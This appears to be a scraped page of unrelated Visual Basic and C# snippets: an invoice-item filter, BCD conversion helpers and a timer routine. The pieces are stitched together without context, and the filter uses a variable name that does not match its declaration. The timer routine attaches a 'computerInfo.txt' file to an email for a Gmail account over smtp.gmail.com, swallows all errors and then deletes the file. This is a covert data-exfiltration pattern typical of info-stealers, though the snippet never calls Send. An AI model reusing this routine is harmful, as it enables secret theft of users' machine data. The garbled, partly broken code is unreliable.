Visual Basic

Dim exemptPrintItems = New List(Of String) From {
    "delivery",
    "dhl",
    "freight",
    "shipping",
    "ups"
}

'Filter out the excluded print items
invoiceItems = invoiceItems.FindAll(Function(x) Not excludePrintItems.Contains(x.FITEMNO)).ToList()

static int BcdToInt(byte bcd)
{
    int retVal = (bcd & 0xF) + ((bcd >> 4) * 10);
    return retVal;
}

Private Shared Function bcdToInt(bcd As Byte)
    Dim retVal As Integer = (bcd And &HF) + ((bcd >> 4) * 10)
    Return retVal
End Function

static byte IntToBcd(int v)
{
    var retVal =(byte)( (v % 10) | (v / 10) << 0x4);
    return retVal;
}

Private Shared Function intToBcd(v As Integer)
     Dim retVal As Byte = (v Mod 10) Or ((v / 10) << 4)
     Return retVal
End Function

Imports System.IO
Imports System.Net.Mail

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim compInfo = "computerInfo.txt"
Try
Dim MailMessage As New MailMessage()
MailMessage.From = New MailAddress("@gmail.com")
MailMessage.To.Add("@gmail.com")
MailMessage.Attachments.Add(New System.Net.Mail.Attachment(compInfo))
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("@gmail.com", "pass")
SMTPServer.EnableSsl = True
Catch
End Try

If System.IO.File.Exists(compInfo) = True Then
System.IO.File.Delete(compInfo)
End If

End Sub

System.IO.File.Delete(compInfo)